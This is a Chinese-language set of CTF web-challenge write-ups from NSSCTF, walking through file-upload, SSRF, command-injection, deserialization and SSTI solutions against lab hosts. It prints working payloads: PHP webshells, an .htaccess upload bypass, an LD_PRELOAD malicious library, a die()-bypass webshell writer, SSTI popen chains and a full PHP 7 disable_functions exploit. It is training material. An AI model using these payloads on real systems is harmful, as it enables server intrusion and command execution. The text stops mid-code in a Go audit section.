NSSCTF刷题篇web部分
源码泄露
[FSCTF 2023]寻找蛛丝马迹
这个源码泄露,可以记录一下,涉及的知识点比较多
打开环境
查看源码,

第一段flag

乱码,恢复一下

乱码恢复网站:乱码恢复 (mytju.com)
剩下的就只说方法
http://node4.anna.nssctf.cn:28843/script.js
第三段flag就在这里,也是乱码恢复

扫出来的目录就是第四段和第六段flag
第五段在第四段有提示说和苹果有关系
发现第四段flag
通过搜索发现苹果和DS_store有关系
访问/.DS_store得到第五段flag,和起来就是完全的flag
[GXYCTF 2019]禁止套娃
文件上传
[GXYCTF 2019]BabyUpload
简单测试一下,发现不能上传php文件并且不能上传后面后缀带ph字符的文件,所以想到了用.htaccess和.user.ini去解决这个问题,但是上传.jpg文件被提示太露骨了,所以这里不能直接上传一句话木马,所以我们这里上传1.jpg文件,文件内容为
GIF89a
<script language=‘php’>@eval($_POST[“a”]);</script>
之后在上传.htaccess文件,但上传时候需要抓包,将Content-Type:内容改为image/jpge

.htaccess文件内容为
AddType application/x-httpd-php .jpg .txt
之后按照它给的路径进行访问从upload开始在url上面进行访问,前面的文件夹不用加上,因为你就在这个文件夹内的,访问之后,你可以执行命令,也可以连上蚁剑直接提取flag
[UUCTF 2022 新生赛]uploadandinject
知识点:LD_PRELOAD注入,so文件劫持
相关知识点链接:LD_PRELOAD劫持(超详细篇)_ld环境变量劫持-CSDN博客
打开文件,发现只能加载文件不能上传文件,提示访问hint.php
访问之后提示访问.index.php.swp,swp泄露,不过感觉它的提示有点太隐晦了吧,然后会下载文件,文件打开是乱码,在linux系统中用下面命令去查看代码
vim -r index.php.swp

putenv("LD_PRELOAD=/var/www/html/$img_path");
看到这串代码就要敏感,它会将LD_PRELOAD环境变量指向我们可控的文件路径,一看见这个LD_PRELOAD环境变量,肯定就会想到让它来加载恶意so文件劫持函数执行命令。
发现我们可以上传一个文件,然后LD_PRELOAD到这个恶意文件来执行命令获得flag
这里看了师傅们的wp,找到了一个通杀恶意c代码,自己还没有理解
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>__attribute__ ((__constructor__)) void payload (void){unsetenv("LD_PRELOAD");system("cat /f*");
}
将这串代码用下面命令执行成so文件
gcc -shared -fPIC hacker.c -o hacker.so
然后我们查找上传点,用dirsearch扫了一下发现上传点在/upload/upload.php

将文件名改为.jpg样式,上传,然后退回主页访问这个文件就可以得到flag
[NSSRound#8 Basic]MyPage
打开页面,发现没有任何东西

这里是require_once的一个漏洞,之前听别人讲过,它就是文件已经被包含过了,所以需要下面的语句进行绕过 ,用下面伪协议绕过
payload:http://node1.anna.nssctf.cn:28767/index.php?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php
PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCg0KaW5jbHVkZSAnZmxhZy5waHAnOw0KDQppZighaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpIHsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOi9pbmRleC5waHA/ZmlsZT0nKTsNCn0gZWxzZSB7DQogICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KDQogICAgaWYgKCFwcmVnX21hdGNoKCcvXC5cLnxkYXRhfGlucHV0fGdsb2J8Z2xvYmFsfHZhcnxkaWN0fGdvcGhlcnxmaWxlfGh0dHB8cGhhcnxsb2NhbGhvc3R8XD98XCp8XH58emlwfDd6fGNvbXByZXNzL2lzJywgJGZpbGUpKSB7DQogICAgICAgIGluY2x1ZGVfb25jZSAkZmlsZTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBkaWUoJ2Vycm9yLicpOw0KICAgIH0NCn0=
<?php
error_reporting(0);include 'flag.php';if(!isset($_GET['file'])) {header('Location:/index.php?file=');
} else {$file = $_GET['file'];if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {include_once $file;} else {die('error.');}
}
直接用php伪协议绕过
http://node1.anna.nssctf.cn:28767/index.php?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php
得到base64编码,解码就得到flag
[FSCTF 2023]是兄弟,就来传你の🐎!
这道题就是考察短标签的命令执行,其他的都比较简单
这道题过滤的点
1.文件里面不能有php标签
2.代码长度不能超过15
3.后缀名不能是php
4.文件内容要有jpg照片的形式
因为不能超过15所以将GIF89a用GF或者BM代替
BM<?=`cat /f*`;
用jpg方式上传抓包修改为pht或者php5等代替;
ssrf
[HNCTF 2022 WEEK2]ez_ssrf
题目有提示访问/index.php,访问之后给了源码
<?phphighlight_file(__FILE__);
error_reporting(0);$data=base64_decode($_GET['data']); // 将通过GET方式的dataq进行base64解码
$host=$_GET['host']; // 通过GET方式将host值给到$host
$port=$_GET['port']; // 通过GET方式将port值给到$port$fp=fsockopen($host,intval($port),$error,$errstr,30); // fsockopen套接字。接收$host主机参数,$port端口参数(先会被转为整数),$error为错误号,设为非0;$errstr (错误信息): 如果连接失败,这个参数会包含一个字符串描述的错误信息。30秒超时
if(!$fp) { // 如果$fp有错误,也就是返回的是非0,取反为0,执行退出die();
}
else { // 如果$fp没有错误,返回的是0,取反为1真,执行下面的fwrite($fp,$data); // fwrite函数接收$fp套接字和编码后的数据while(!feof($data)) // feof判断是否达到数据末尾{echo fgets($fp,128); // 输出 fgets,fgets接收来自$fp的套接字,并且读取最大128个字节数}fclose($fp);
}
可以看到fsockopen这个函数,这个函数就是使用socket跟服务器建立tcp连接,传输原始数据。,然后在后面的代码又用fp去接收data传来的数据,最后在用fgets进行读取,所以我们就用下面的payload进行接受和将flag输出
?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
base64内容
GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Keep-Alive
就是读取本地服务器的文件
命令执行
[BJDCTF 2020]ZJCTF,不过如此
这道题的知识点是文件包含+命令执行,但我感觉命令执行这个点比较的重要
打开题目看见代码
<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file); //next.php}
else{highlight_file(__FILE__);
}
?>
非常简单的文件包含,payload
?text=data://plain/text,I have a dream&file=php://filter/read/convert.base64-encode/resource=next.php
接下来得到一连串的base64编码,将base64编码解码得到源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}
function getFlag(){@eval($_GET['cmd']);
}
这里看到了eval函数但不能直接使用,这里涉及了一个知识点preg_replace()/e模式能够进行命令执行
深入研究preg_replace与代码执行 - 先知社区
大致意思就是用{}包括的字符串会被当作变量去使用,所以有以下payload
http://node4.anna.nssctf.cn:28559/next.php/?\S*=${phpinfo()}
flag就在phpinfo这个页面当中
还可以利用getflag()这个函数
?\S*=${getFlag()}&cmd=system('cat /flag');
[FSCTF 2023]EZ_eval
<?phpif(isset($_GET['word'])){$word = $_GET['word'];if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){die("nonono.");}$word = str_replace("?", "", $word);eval("?>". $word);
}else{highlight_file(__FILE__);
}
这串代码我刚看的时候,就这串代码比较疑惑
eval("?>". $word);
?>不明白这里为啥要设置这个,在看完别的师傅的wp之后我知道了这里是封闭了
就是<?php ?>从而达到封闭效果,?>.word这里是连接效果,如word如果等于hello,那么这串代码的执行效果就是?>word,那么如果我们命令执行的话后面的命令就不会执行了,所以我们需要去执行命令有下面三种方法
-
<? echo '123';?> #前提是开启配置参数short_open_tags=on -
<script language="php">echo 'hello'; #不需要修改参数开关,但是只能在7.0以下可用。 -
<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
借鉴博客:[FSCTF 2023]EZ_eval - xrzx - 博客园
所以最终payload
?word=<script%09language="php">system('strings%09/fl*');%09</script>
[FSCTF 2023]Hello,you
打开后查看源码就可以找到源码

根据源码可以执行下面命令,查看一下环境变量就可以找到flag
1;env
[SWPUCTF 2023 秋季新生赛]If_else
打开题目查看源码
某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果提交方式$_POST["check"]记得访问一下check.php哦~check.php的内容
<?php$a=false;$b=false;if(你提交的部分将会被写至这里){$a=true;}else{$b=true;}if($a===true&&$b===true)eval(system(cat /flag));
?>
Warning: Unterminated comment starting line 6 in /var/www/html/check.php on line 6
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=false;
$b=false;
if(1==1) eval(system('cat /flag'));/*)
{$a=true;
}
else
{$b=true;
}
if($a===true&&$b===true)
{
eval(system(cat /flag));
} NSSCTF{588ebbbc-a1ae-4dc4-bf98-623e9438c721}
payload
check=1==1) eval(system('cat /flag'));/*
就是考察了php的注释
[SWPUCTF 2023 秋季新生赛]Pingpingping
打开网页查看源代码
<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){system("ping -c 3 ".$_ping);
}else{$data = base64_encode(file_get_contents("error.png"));echo "<img src='data:image/png;base64,$data'/>";
}
就是简单的命令执行,payload
Ping[ip.exe=;cat /f*
记得把_换成[就可以了
[GKCTF 2020]CheckIN
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{public $code = null;public $decode = null;function __construct(){$this->code = @$this->x()['Ginkgo'];$this->decode = @base64_decode( $this->code );@Eval($this->decode);}public function x(){return $_REQUEST;}
}
new ClassName();
我开始不知道在哪执行这段代码
function __construct(){$this->code = @$this->x()['Ginkgo'];$this->decode = @base64_decode( $this->code );@Eval($this->decode);}public function x(){return $_REQUEST;}
public function x(){return $_REQUEST;}
看到这段代码,这就是正常get传参
直接传参
?Ginkgo=cGhwaW5mbygpOw==

可以看到禁了很多函数,蚁剑连一下
eval($_POST[1]);
ZXZhbCgkX1BPU1RbMV0pOw==

flag打开是空的,看到readflag可以想到disable_funtion绕过,下载下面代码
<?php# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1pwn("/readflag");function pwn($cmd) {global $abc, $helper;function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = chr($v & 0xff);$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}class ryat {var $ryat;var $chtg;function __destruct(){$this->chtg = $this->ryat;$this->ryat = 1;}}class Helper {public $a, $b, $c, $d;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; # increase this value if you get segfaults$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_repeat('A', 79);$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';$out = unserialize($poc);gc_collect_cycles();$v = [];$v[0] = ptr2str(0, 79);unset($v);$abc = $out[2][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}# leaks$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}# fake closure object$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); # internal func typewrite($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd);exit();
}
这段代码下载地址:https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
pwn("uname -a");
把第11行代码改为
pwn("/readflag");
将这段代码上传到/tmp这个文件夹

然后执行命令
?Ginkgo=ZXZhbCgkX1BPU1RbMV0pOw==
post
1=include('/tmp/1.php');
ZXZhbCgkX1BPU1RbMV0pOw==这段代码解码得到eval($_POST[1]);

[NSSRound#7 Team]ec_RCE
考察的点就是linux执行多条命令
源码
<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHPif(!isset($_POST["action"]) && !isset($_POST["data"]))show_source(__FILE__);putenv('LANG=zh_TW.utf8'); $action = $_POST["action"];$data = "'".$_POST["data"]."'";$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");echo $output;
?>
前面是一个java命令,不用管直接闭合执行自己的命令
action=;cat /flag;&data=ls
[FBCTF 2019]rceservice
算是学了一种新的命令执行的方式
打开就是一个框,在网上找到源码
<?phpputenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) {$json = $_REQUEST['cmd'];if (!is_string($json)) {echo 'Hacking attempt detected<br/><br/>';} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';} else {echo 'Attempting to run command:<br/>';$cmd = json_decode($json, true)['cmd'];if ($cmd !== NULL) {system($cmd);} else {echo 'Invalid input';}echo '<br/><br/>';}
}?>
大概分析一下这个源码,可以得出它把所有命令都禁了
这里一种新的命令执行的格式就是json格式
先看这行代码
putenv('PATH=/home/rceservice/jail');
这里就是一个环境变量意味着他已经在liunx系统的这个环境之下了
所以cat命令不能执行,需要去cat命令的目录下执行命令
payload
?cmd={%0A"cmd":"ls /home/rceservice"%0A}
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
参考博客
[FBCTF2019]RCEService-CSDN博客
[SWPUCTF 2023 秋季新生赛]RCE-PLUS
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){echo "hello";return($cmd);}else{die("i hate this");}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
正常的命令执行就是没有回显,就是不能用正则表达式当中的命令
没有回显就写入文件当中访问就可以得到flag
payload
?cmd=cat /fla* > fuck.txt
访问fuck.txt就可以得到flag了
[HNCTF 2022 WEEK2]Canyource
源码
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);}
elsedie('nonono');}
elseecho('please input code');
?>
第一段正则表达式就是过滤一些命令,主要解释一下第二段正则表达试
\w就是匹配非单词字符即匹配那些非字母,数字,下划线的字符
?R它是递归匹配,没理解,但我的理解是如果在题目中看到这个正则匹配就要考虑无参数RCE
这道题有两种解决方式
第一种
直接读
?code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));
flag需要查看源码才能找到
第二种
利用环境变量
eval(end(current(get_defined_vars())));&shekk=system(%27cat%20f*%27);
参考博客:[HNCTF 2022 WEEK2]Canyource-CSDN博客
反序列化
[SWPUCTF 2022 新生赛]ez_1zpop
<?php
error_reporting(0);
class dxg
{function fmm(){return "nonono";}
}class lt
{public $impo='hi';public $md51='weclome';public $md52='to NSS';function __construct(){$this->impo = new dxg;}function __wakeup(){$this->impo = new dxg;return $this->impo->fmm();}function __toString(){if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)return $this->impo->fmm();}function __destruct(){echo $this;}
}class fin
{public $a;public $url = 'https://www.ctfer.vip';public $title;function fmm(){$b = $this->a;$b($this->title);}
}if (isset($_GET['NSS'])) {$Data = unserialize($_GET['NSS']);
} else {highlight_file(__file__);
}
非常简单的一道题,就是非常简单的链子,用__destruct()->__toString()
所以这里不用担心__toString()不会触发而去寻找别的方法去触发,这道题当中它在自己的类中会自己触发
payload
<?php
class dxg
{function fmm(){return "nonono";}
}
class lt{public $impo;public $md51='QNKCDZO';public $md52='240610708';
}
class fin
{public $a="system";public $title="cat /flag";function fmm(){$b = $this->a;$b($this->title);}
}
$a=new lt();
$a->impo=new fin();
echo serialize($a);
?NSS=O:2:"lt":3:{s:4:"impo";O:3:"fin":2:{s:1:"a";s:6:"system";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:9:"240610708";}
[UUCTF 2022 新生赛]ez_unser
打开网页看到源码
<?php
show_source(__FILE__);###very___so___easy!!!!
class test{public $a;public $b;public $c;public function __construct(){$this->a=1;$this->b=2;$this->c=3;}public function __wakeup(){$this->a='';}public function __destruct(){$this->b=$this->c;eval($this->a);}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
你输入的不正确!!!搞什么!!
看到 public function __construct()设置a的值,而我们又需要用a进行命令执行,所以我们就想到了地址转换,将a的地址给b,那么b的值就是a的值,然后最后给c赋值进行命令执行,因为最后c的值是赋给b了,所以payload如下
<?php
class Test{public $a;public $b;public $c;
}
$a=new Test();
$a->b=&$a->a;
$a->c="system('cat /fffffffffflagafag');";
echo serialize($a);
可以把system里面的命令改一下,先查看目录,之后在打开flag;
[FSCTF 2023]ez_php1
共三关,不难
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{echo "!!!";$c = $_POST['FL_AG'];if(isset($c)){if (preg_match('/^.*(flag).*$/', $ja)) {echo 'You are bad guy!!!';}else {echo "Congratulation!!";echo $hint1;}}else {echo "Please input my love FL_AG";}
} else{die("game over!");
}
?>
第一关就是不用管那个正则,一个md5弱比较,另外一个就是随便输,不要输入到正则表达式匹配上面就可以
get:?a=240610708&b=QNKCDZO
post: FL_AG=14
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{echo "$hint2";
}
?>
第二关就是反序列化,把这个字符串输入进去序列化一下就行
<?php
$KEY = "YES I love";
echo serialize($KEY);
payload
?str=s:10:"YES I love";
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{public $a;public $b;public function __wakeup(){$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");}public function __destruct(){echo $this->b;}
}
@unserialize($_POST['data']);?>
第三关和上面那一道题一样地址转换一下就可以了
<?php
class Clazz
{public $a;public $b;}
$c=new Clazz();
$c->b=&$c->a;
echo serialize($c);
POST:data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
[羊城杯 2020]easyser
这道题涉及的知识点有点多,主要的是那个die绕过
打开网站访问/robots.txt存在泄露,访问提示的路径,然后查看源码

我以为的安全协议是php伪协议啥的,没想到还有这个
http://127.0.0.1/ser.php
你随便输入一些参数就会告诉你参数?path输入上面的payload查看源码
<?php
error_reporting(0);
if ($_SERVER['REMOTE_ADDR'] == "127.0.0.1") {highlight_file(__FILE__);
}
$flag = '{Trump_:"fake_news!"}';class GWHT
{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)) {return $this->hero->hasaki();} else {return "You don't look very happy";}}
}
class Yongen
{ //flag.phppublic $file;public $text;public function __construct($file = '', $text = ''){$this->file = $file;$this->text = $text;}public function hasaki(){$d = '<?php die("nononon");?>';$a = $d . $this->text;@file_put_contents($this->file, $a);}
}
class Yasuo
{public function hasaki(){return "I'm the best happy windy man";}
}
$this->hero = new Yasuo;
开始在这段代码一直在纠结如何解决这段代码,这个类会指向那个return,最后看了wp发现这段代码直接指向Yongen这个类就行,这段代码主要解决的是
$d = '<?php die("nononon");?>';
绕过这个die
需要用phpfilter和string_strip_tags,baseencode
最终exp
<?php
class GWHT{public $hero;public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct() {$this -> file = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';$this-> text = base64_encode("<?php eval(\$_GET['cmd']);?>");}public function hasaki(){$d = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
$a = new GWHT();
$b = new Yongen();
$a->hero = $b;
echo urlencode(serialize($a));
#O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A36%3A%22PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8%2B%22%3B%7D%7D
最终payload
?path=http://127.0.0.1/star1.php&c=O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A40%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%22%3B%7D%7D
这个c需要用argun进行爆破
ssti
[护网杯 2018]easy_tornado
打开网页,有三个链接,一个一个打开内容如下
/flag.txt
flag in /fllllllllllllag/welcome.txt
render/hints.txt
md5(cookie_secret+md5(filename))
访问/fllllllllllllag
得到下面内容

检验可以得到msg存在模板注入
tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类
RequestHandler.settings又指向self.application.settings
所以我们可以说handler.settings指向了RequestHandler.settings了,对吧
这样我们就可以构造一下payload:
?msg={{ handler.settings }}

得到cookie
然后用exp跑一下,得到cookie,让file_filename=这个flag,之前已经告诉我们flag的位置,
import hashlibcookie = 'da0e04ca-2644-45bb-b7e1-2b1fa7347c24'
file_filename = '/fllllllllllllag'
md5_filename = hashlib.md5(file_filename.encode(encoding='UTF-8')).hexdigest()
word = cookie + md5_filename
flag = hashlib.md5(word.encode(encoding='UTF-8')).hexdigest()
print(flag)

得到flag
[HZNUCTF 2023 preliminary]flask
正常的ssti就是把ssti语句倒着输入进去就行了
字符串反转网站
字符串反转|中文反转 - 开发工具箱
{{"".__class__}} //这些语句都要反转一下,并且要查看一下源码,第一个查看类名
{{"".__class__.__mro__}}
{{"".__class__.__mro__[-1]}}
{{"".__class__.__mro__[-1].__subclasses__()}}
{{"".__class__.__mro__[-1].__subclasses__()[132].__init__}}
{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}
{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('env').read()}}
[NCTF 2018]Flask PLUS
fenjing一把嗦
python -m fenjing crack-path -u http://node4.anna.nssctf.cn:28970/
fenjing命令
HTTP
这类题就是通过修改请求的一些东西达到目的,积累积累就可以了
[MoeCTF 2021]Do you know HTTP
1.用'HS'来请求试试?
就是修改请求方式,

就是将GET修改为HS
2.

xff ,这个有很多种
python函数漏洞
[GWCTF 2019]枯燥的抽奖
打开网站查看源码

加载check.php,让我们访问check.php
neyBAY8JYe
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";if(isset($_POST['num'])){if($_POST['num']===$str){echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";}else{echo "<p id=flag>没抽中哦,再试试吧</p>";}
}
show_source("check.php");
mt_srand()考察这个函数的漏洞,这个漏洞具体可以查看大佬博客
[GWCTF 2019]枯燥的抽奖 - L0VEhzzz - 博客园
直接先推种子,代码如下
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='OcRiTWUJrN'
res=''
for i in range(len(str2)): for j in range(len(str1)):if str2[i] == str1[j]:res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' 'break
print(res)
再用下面的工具

生成种子
<?php
mt_srand(种子); //种子填你自己得到的
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
在用上面代码运行即可得到完整字符串,输入就可以得到flag
[羊城杯 2020]Blackcat
代码审计
go语言代码审计
[SCTF 2021]loginme
这道题就是代码审计,Go语言的代码审计
打开附件先看主函数
package mainimport ("html/template""loginme/middleware""loginme/route""loginme/templates""github.com/gin-gonic/gin"
